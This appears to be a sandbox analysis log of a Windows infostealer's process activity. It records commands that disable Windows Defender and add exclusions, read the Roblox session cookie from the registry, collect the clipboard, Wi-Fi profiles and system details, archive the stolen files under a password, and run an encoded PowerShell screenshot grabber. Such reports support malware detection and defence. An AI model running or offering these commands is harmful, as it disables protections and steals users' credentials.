Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe "C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe"
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Process created: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe "C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe "C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe"
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Defender\MpCmdRun.exe "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe "C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe "C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe "C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEF.tmp" "c:\Users\user\AppData\Local\Temp\l2sopuet\CSC2774EC596431493C9BAB8956CFD3669.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "systeminfo"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "getmac"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tree /A /F"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic os get Caption"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib -r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +r C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEF.tmp" "c:\Users\user\AppData\Local\Temp\l2sopuet\CSC2774EC596431493C9BAB8956CFD3669.TMP"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\getmac.exe getmac
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tree.com tree /A /F
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Process created: C:\Users\Public\Netstat\FuturreApp.exe "C:\Users\Public\Netstat\FuturreApp.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Source: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Process created: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe "C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe a -r -hp"yeezy222" "C:\Users\user\AppData\Local\Temp\vLqBW.zip" *
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic os get Caption

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
